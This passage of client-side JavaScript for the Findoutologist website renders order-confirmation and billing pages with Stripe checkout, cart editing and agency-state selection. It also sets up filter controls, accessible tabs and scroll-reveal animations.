orderCompletePage.classList.add(`is-${state}`); if (eyebrowTarget) eyebrowTarget.textContent = eyebrow || (state === "paid" ? "Order confirmed" : "Order update"); if (titleTarget) titleTarget.textContent = title; if (messageTarget) messageTarget.textContent = message; }; const setStatusPill = (label, icon = "badge-check") => { if (!statusTarget) return; statusTarget.innerHTML = `<i data-lucide="${escapeHtml(icon)}"></i><span>${escapeHtml(label)}</span>`; }; const renderCompleteOrder = (order) => { const items = Array.isArray(order.items) ? order.items : []; const primaryPackage = items.length === 1 ? items[0].title : `${items.length || "Your"} packages`; const isPaid = order.paymentStatus === "paid"; setCompleteState( isPaid ? "paid" : "processing", isPaid ? "Payment complete." : "Payment received.", isPaid ? `Your ${primaryPackage} order is confirmed. Your invoice is ready to download.` : "Your checkout return was received and the payment status is still being finalized.", isPaid ? "Thank you" : "Almost done" ); setStatusPill(isPaid ? "Paid" : "Processing", isPaid ? "badge-check" : "clock"); if (orderIdTarget) orderIdTarget.textContent = order.id || orderId || "Not available"; if (dateTarget) dateTarget.textContent = formatDisplayDate(order.createdAt || order.updatedAt); if (totalTarget) totalTarget.textContent = order.total || "$0"; if (stateTarget) stateTarget.textContent = order.agencyState || "Not selected"; if (contactTarget) contactTarget.textContent = order.customerEmail || "Email not provided"; if (itemsTarget) { itemsTarget.innerHTML = items.length ? items .map( (item) => ` <div class="complete-item"> <span> <strong>${escapeHtml(item.title || "Package")}</strong> <small>Package ID: ${escapeHtml(item.id || "package")}</small> </span> <b>${escapeHtml(item.price || order.total || "$0")}</b> </div> ` ) .join("") : ` <div class="complete-item"> <span> <strong>Package details unavailable</strong> <small>Order number: ${escapeHtml(order.id || orderId || "Not available")}</small> </span> <b>${escapeHtml(order.total || "$0")}</b> </div> `; } if (invoiceLink) { invoiceLink.hidden = !isPaid || !order.invoiceUrl; if (isPaid && order.invoiceUrl) { invoiceLink.href = order.invoiceUrl; invoiceLink.setAttribute("download", `invoice-${order.id || orderId}.html`); } } document.title = isPaid ? `Order Complete - ${order.id || orderId} | Findoutologist` : "Payment Processing | Findoutologist"; hydrateIcons(); }; const fetchOrderSummary = async () => { const response = await fetch(`/api/billing/orders/${encodeURIComponent(orderId)}`, { cache: "no-store" }); const data = await response.json().catch(() => ({})); if (!response.ok) { const error = new Error(data.error || `Request failed with HTTP ${response.status}`); error.status = response.status; throw error; } return data.order || data; }; const loadCompleteOrder = async () => { if (!orderId) { setCompleteState("error", "Order not found.", "The completion link is missing an order number.", "Missing order"); setStatusPill("Needs order number", "circle-alert"); hydrateIcons(); return; } if (returnStatus === "cancelled") { setCompleteState("error", "Checkout cancelled.", "No payment was taken. Your selected package is still available.", "Checkout update"); setStatusPill("Cancelled", "circle-alert"); hydrateIcons(); return; } setCompleteState("loading", "Confirming your payment.", "Please wait while your order is verified.", "Secure checkout"); setStatusPill("Verifying", "loader-circle"); try { const order = sessionId && returnStatus === "success" ? await postJson("/api/billing/confirm", { orderId, sessionId }) : await fetchOrderSummary(); renderCompleteOrder(order.order || order); } catch (error) { setCompleteState( "error", "Payment received.", error.status === 409 ? "Your checkout return was received, but payment verification is not available yet." : "Your checkout return was received, but the order details could not be loaded yet.", "Order received" ); setStatusPill("Received", "circle-alert"); if (orderIdTarget) orderIdTarget.textContent = orderId; hydrateIcons(); } }; loadCompleteOrder(); } const billingPage = document.querySelector("[data-billing-page]"); if (billingPage) { const params = new URLSearchParams(window.location.search); const isCheckoutReturn = Boolean(params.get("status") || params.get("order") || params.get("session_id")); const selectedState = params.get("state") || ""; let cartProductIds = getBillingProductIds(params); const itemsTarget = billingPage.querySelector("[data-billing-items]"); const priceTarget = billingPage.querySelector("[data-billing-price]"); const stateTarget = billingPage.querySelector("[data-billing-state-label]"); const changeLink = billingPage.querySelector("[data-billing-change-link]"); const stateSelect = billingPage.querySelector("[data-billing-state]"); const addProductForm = billingPage.querySelector("[data-add-product-form]"); const addProductSelect = billingPage.querySelector("[data-add-product-select]"); const addProductButton = addProductForm?.querySelector("button"); const addProductHelp = billingPage.querySelector("[data-add-product-help]"); const countTarget = billingPage.querySelector("[data-billing-count]"); const billingForm = billingPage.querySelector("[data-billing-form]"); const billingStatus = billingPage.querySelector("[data-billing-status]"); const billingSubmit = billingPage.querySelector("[data-billing-submit]"); const paymentOptionTitle = billingPage.querySelector("[data-payment-option-title]"); const paymentOptionDescription = billingPage.querySelector("[data-payment-option-description]"); const paymentCardLogos = billingPage.querySelector("[data-payment-card-logos]"); let orderFieldsTarget = billingForm?.querySelector("[data-order-fields]") || null; let stripeCheckoutAvailable = true; const showBillingNotice = (title, message, type = "success") => { if (!billingStatus) return; billingStatus.innerHTML = ` <span class="notice-icon"><i data-lucide="${type === "error" ? "circle-alert" : "badge-check"}"></i></span> <span class="notice-copy"> <strong>${escapeHtml(title)}</strong> <span>${escapeHtml(message)}</span> </span> `; billingStatus.classList.add("is-visible", "billing-notice"); billingStatus.classList.toggle("is-error", type === "error"); billingStatus.classList.toggle("is-success", type === "success"); hydrateIcons(); }; const confirmReturnedPayment = async () => { const orderId = params.get("order") || ""; const sessionId = params.get("session_id") || ""; if (!orderId || !sessionId) return; try { const data = await postJson("/api/billing/confirm", { orderId, sessionId }); if (data.paymentStatus === "paid") { showBillingNotice("Payment verified", `Thank you. Your order ${orderId} is confirmed.`); window.location.replace(buildOrderCompleteUrl(orderId, sessionId, "success")); return; } showBillingNotice( "Payment processing", "Your order status will update when confirmation is available." ); } catch (error) { showBillingNotice( "Payment received", "Checkout returned successfully. If this page does not update automatically, our team can verify the order from the admin panel." ); } }; const setPaymentOptionMode = (stripeReady) => { stripeCheckoutAvailable = stripeReady; if (paymentOptionTitle) { paymentOptionTitle.textContent = stripeReady ? "Secure card checkout" : "Manual billing request"; } if (paymentOptionDescription) { paymentOptionDescription.textContent = stripeReady ? "Pay safely with encrypted checkout. Your card details stay protected." : "Submit your billing details and our team will follow up with payment instructions."; } if (paymentCardLogos) paymentCardLogos.hidden = !stripeReady; if (billingSubmit) billingSubmit.textContent = stripeReady ? "Continue to secure checkout" : "Send billing request"; }; const loadPaymentOptions = async () => { try { const response = await fetch("/api/billing/options", { cache: "no-store" }); if (!response.ok) return; const options = await response.json(); setPaymentOptionMode(options.stripeReady !== false); } catch (error) { // Keep the default secure-checkout copy if the server settings cannot be loaded. } }; loadPaymentOptions(); if (billingStatus && params.get("status") === "success") { showBillingNotice( "Verifying payment", `Thank you. Your order${params.get("order") ? ` ${params.get("order")}` : ""} was received from Stripe. Confirming payment now.` ); confirmReturnedPayment(); } else if (billingStatus && params.get("status") === "cancelled") { showBillingNotice("Checkout cancelled", "No payment was taken. Your cart is still ready when you want to try again.", "error"); } if (billingForm && !orderFieldsTarget) { orderFieldsTarget = document.createElement("div"); orderFieldsTarget.hidden = true; orderFieldsTarget.setAttribute("data-order-fields", ""); billingForm.append(orderFieldsTarget); } const getCurrentState = () => (stateSelect ? stateSelect.value : selectedState); const syncBillingUrl = () => { const nextUrl = buildBillingUrl(cartProductIds, getCurrentState()); window.history.replaceState({}, "", nextUrl); }; const updateBillingTitle = () => { document.title = `Billing - ${cartProductIds.length} Product${cartProductIds.length === 1 ? "" : "s"} | Findoutologist`; }; const syncBillingFormFields = (cartProducts, total) => { if (!orderFieldsTarget) return; const fields = { "order-products": cartProductIds.join(","), "order-product-names": cartProducts.map((item) => item.title).join(" | "), "order-total": formatMoney(total), }; orderFieldsTarget.innerHTML = ""; Object.entries(fields).forEach(([name, value]) => { const input = document.createElement("input"); input.type = "hidden"; input.name = name; input.value = value; orderFieldsTarget.append(input); }); }; const renderAddProductOptions = () => { if (!addProductSelect) return; const availableProducts = productList.filter((item) => !cartProductIds.includes(item.id)); addProductSelect.innerHTML = `<option value="">${availableProducts.length ? "Choose a product to add" : "All products added"}</option>`; availableProducts.forEach((item) => { const option = document.createElement("option"); option.value = item.id; option.textContent = `${item.title} - ${item.price}`; addProductSelect.append(option); }); addProductSelect.disabled = !availableProducts.length; if (addProductButton) { addProductButton.disabled = !availableProducts.length; } if (addProductHelp) { addProductHelp.textContent = availableProducts.length ? `${availableProducts.length} more product${availableProducts.length === 1 ? "" : "s"} available` : "All available products are already in this order"; } }; const renderBillingItems = () => { const cartProducts = cartProductIds.map(getProductById); const total = cartProducts.reduce((sum, item) => sum + getProductPriceValue(item), 0); const canRemove = cartProductIds.length > 1; if (itemsTarget) { itemsTarget.innerHTML = ""; cartProducts.forEach((item) => { const listItem = document.createElement("li"); listItem.className = "order-item"; listItem.innerHTML = ` <span> <strong>${item.title}</strong> <small>${item.price}</small> </span> <button class="order-item-remove" type="button" data-remove-product="${item.id}" aria-label="Remove ${item.title}" ${canRemove ? "" : "disabled"}> <i data-lucide="x"></i> </button> `; itemsTarget.append(listItem); }); itemsTarget.querySelectorAll("[data-remove-product]").forEach((button) => { button.addEventListener("click", () => { if (cartProductIds.length <= 1) return; const productId = button.getAttribute("data-remove-product") || ""; cartProductIds = cartProductIds.filter((item) => item !== productId); renderBillingItems(); updateBillingStateText(); syncBillingUrl(); }); }); } if (priceTarget) priceTarget.textContent = formatMoney(total); if (countTarget) { countTarget.textContent = `${cartProductIds.length} product${cartProductIds.length === 1 ? "" : "s"} selected`; } syncBillingFormFields(cartProducts, total); renderAddProductOptions(); updateBillingTitle(); hydrateIcons(); }; const updateBillingStateText = () => { const state = getCurrentState(); if (stateTarget) { stateTarget.textContent = state ? `Agency state: ${state}` : "Agency state: Not selected"; } if (changeLink) { changeLink.href = "coaching-programs.html"; } }; renderAgencyStateOptions(stateSelect, selectedState); renderBillingItems(); updateBillingStateText(); if (!isCheckoutReturn) syncBillingUrl(); stateSelect?.addEventListener("change", () => { updateBillingStateText(); syncBillingUrl(); }); if (addProductForm && addProductSelect) { addProductForm.addEventListener("submit", (event) => { event.preventDefault(); const productId = addProductSelect.value; if (!productId || cartProductIds.includes(productId)) return; cartProductIds = [...cartProductIds, productId]; addProductSelect.value = ""; renderBillingItems(); updateBillingStateText(); syncBillingUrl(); }); } if (billingForm && billingStatus) { billingForm.addEventListener("submit", async (event) => { event.preventDefault(); if (!billingForm.checkValidity()) { billingForm.reportValidity(); return; } const state = getCurrentState() || "your selected state"; const itemCount = cartProductIds.length; const cartProducts = cartProductIds.map(getProductById); const total = cartProductIds.reduce((sum, productId) => sum + getProductPriceValue(getProductById(productId)), 0); const payload = { ...Object.fromEntries(new FormData(billingForm).entries()), firstName: billingForm.elements["first-name"]?.value || "", lastName: billingForm.elements["last-name"]?.value || "", state, productIds: cartProductIds, productNames: cartProducts.map((item) => item.title), orderTotal: formatMoney(total), orderSummary: `${itemCount} product${itemCount === 1 ? "" : "s"} totaling ${formatMoney(total)} in ${state}`, }; showFormStatus(billingStatus, stripeCheckoutAvailable ? "Creating your secure checkout..." : "Sending your billing request..."); try { const data = await postJson("/api/billing", payload); if (data.checkoutUrl) { showFormStatus(billingStatus, "Redirecting to Stripe checkout..."); window.location.href = data.checkoutUrl; return; } const successMessage = data.stripeFallback ? data.message || `Thank you. Your order for ${itemCount} product${ itemCount === 1 ? "" : "s" } totaling ${formatMoney(total)} in ${state} was received. Our team will follow up with secure payment instructions.` : `Thank you. Your order for ${itemCount} product${itemCount === 1 ? "" : "s"} totaling ${formatMoney(total)} in ${state} was sent to our team.`; showFormStatus(billingStatus, successMessage); if (data.stripeFallback) setPaymentOptionMode(false); billingForm.reset(); renderAgencyStateOptions(stateSelect, state); updateBillingStateText(); } catch (error) { showFormStatus(billingStatus, error.message || "Checkout could not be started. Please try again.", "error"); } }); } } const setupFilterControls = ({ controlSelector, itemSelector, controlAttribute, itemAttribute }) => { const controls = document.querySelectorAll(controlSelector); const items = document.querySelectorAll(itemSelector); if (!controls.length || !items.length) return; const applyFilter = (filter) => { items.forEach((item) => { const values = (item.getAttribute(itemAttribute) || "").split(/\s+/).filter(Boolean); const isMatch = filter === "all" || values.includes(filter); window.clearTimeout(item.filterTimer); if (isMatch) { item.hidden = false; item.removeAttribute("aria-hidden"); window.requestAnimationFrame(() => item.classList.remove("is-filtered-out")); } else { item.classList.add("is-filtered-out"); item.setAttribute("aria-hidden", "true"); item.filterTimer = window.setTimeout(() => { if (item.classList.contains("is-filtered-out")) item.hidden = true; }, 220); } }); }; controls.forEach((control) => { control.addEventListener("click", () => { const filter = control.getAttribute(controlAttribute) || "all"; controls.forEach((button) => { button.setAttribute("aria-pressed", String(button === control)); }); applyFilter(filter); }); }); }; setupFilterControls({ controlSelector: "[data-service-filter]", itemSelector: "[data-service-states]", controlAttribute: "data-service-filter", itemAttribute: "data-service-states", }); setupFilterControls({ controlSelector: "[data-review-filter]", itemSelector: "[data-review-type]", controlAttribute: "data-review-filter", itemAttribute: "data-review-type", }); document.querySelectorAll("[data-advanced-tabs]").forEach((group, groupIndex) => { const buttons = Array.from(group.querySelectorAll("[data-advanced-tab]")); const panels = Array.from(group.querySelectorAll("[data-advanced-panel]")); if (!buttons.length || !panels.length) return; const activateTab = (target) => { buttons.forEach((button) => { const isSelected = button.getAttribute("data-advanced-tab") === target; button.setAttribute("aria-selected", String(isSelected)); button.tabIndex = isSelected ? 0 : -1; }); panels.forEach((panel) => { const isSelected = panel.getAttribute("data-advanced-panel") === target; panel.hidden = !isSelected; panel.classList.toggle("is-active", isSelected); }); }; buttons.forEach((button, buttonIndex) => { const target = button.getAttribute("data-advanced-tab") || ""; const panel = panels.find((item) => item.getAttribute("data-advanced-panel") === target); button.id ||= `advanced-tab-${groupIndex}-${buttonIndex}`; button.setAttribute("role", "tab"); if (panel) { panel.id ||= `advanced-panel-${groupIndex}-${buttonIndex}`; panel.setAttribute("role", "tabpanel"); panel.setAttribute("aria-labelledby", button.id); button.setAttribute("aria-controls", panel.id); } button.addEventListener("click", () => activateTab(target)); button.addEventListener("keydown", (event) => { const direction = event.key === "ArrowRight" ? 1 : event.key === "ArrowLeft" ? -1 : 0; if (!direction) return; event.preventDefault(); const nextIndex = (buttonIndex + direction + buttons.length) % buttons.length; buttons[nextIndex].focus(); activateTab(buttons[nextIndex].getAttribute("data-advanced-tab") || ""); }); }); const initialTab = buttons.find((button) => button.getAttribute("aria-selected") === "true")?.getAttribute("data-advanced-tab") || buttons[0].getAttribute("data-advanced-tab") || ""; activateTab(initialTab); }); if (roadmapSteps.length) { roadmapSteps.forEach((step, activeIndex) => { step.addEventListener("click", () => { roadmapSteps.forEach((item, itemIndex) => { item.classList.toggle("is-active", itemIndex === activeIndex); item.classList.toggle("is-complete", itemIndex < activeIndex); if (itemIndex === activeIndex) { item.setAttribute("aria-current", "step"); } else { item.removeAttribute("aria-current"); } }); if (roadmapProgress) { roadmapProgress.textContent = `${Math.round(((activeIndex + 1) / roadmapSteps.length) * 100)}%`; } }); }); } const revealSelectors = [ ".section-reveal", ".home-service-card", ".testimonial-card", ".page-card", ".product-card", ".process-card", ".program-card", ".manual-panel", ".training-card", ".launch-service-card", ".blog-card", ".contact-item", ".contact-form-card", ".blog-article-card", ".article-sidebar-card", ".product-detail-card", ".purchase-panel", ".order-summary-card", ".advanced-console", ".advanced-panel", ".page-visual", ".image-feature", ".media-frame", ".hero-proof-grid > *", ".feature-rail > *", ".console-metrics > *", ".contact-priority-grid > *", ".footer-copy", ".footer-column", ].join(","); const revealTargets = Array.from(new Set(document.querySelectorAll(revealSelectors))); document .querySelectorAll( [ ".home-service-grid", ".testimonials-grid", ".page-card-grid", ".product-grid", ".process-grid", ".program-grid", ".training-grid", ".launch-service-grid", ".blog-grid", ".related-blog-grid", ".product-detail-shell", ".blog-detail-shell", ".billing-layout", ".manual-layout", ".card-grid", ".hero-proof-grid", ".feature-rail", ".console-metrics", ".contact-priority-grid", ".footer-grid", ].join(",") ) .forEach((group) => { Array.from(group.children).forEach((item, itemIndex) => { item.style.setProperty("--reveal-delay", `${Math.min(itemIndex * 70, 420)}ms`); }); }); revealTargets.forEach((target, targetIndex) => { target.classList.add("reveal-item"); if (!target.style.getPropertyValue("--reveal-delay")) { target.style.setProperty("--reveal-delay", `${Math.min((targetIndex % 6) * 50, 300)}ms`); } }); if ("IntersectionObserver" in window) { const observer = new IntersectionObserver( (entries) => { entries.forEach((entry) => { if (entry.isIntersecting) { entry.target.classList.add("is-visible"); observer.unobserve(entry.target); } }); }, { threshold: 0.12 } ); revealTargets.forEach((target) => observer.observe(target)); } else { revealTargets.forEach((target) => target.classList.add("is-visible")); } applySiteEdits(); if (siteEdits.length && "MutationObserver" in window && document.body) { const siteEditObserver = new MutationObserver(() => { if (!isApplyingSiteEdits) scheduleSiteEdits(); }); siteEditObserver.observe(document.body, { childList: true, subtree: true, characterData: true, }); } window.addEventListener("load", () => { applySiteEdits(); hydrateIcons(); }); hydrateIcons();
Close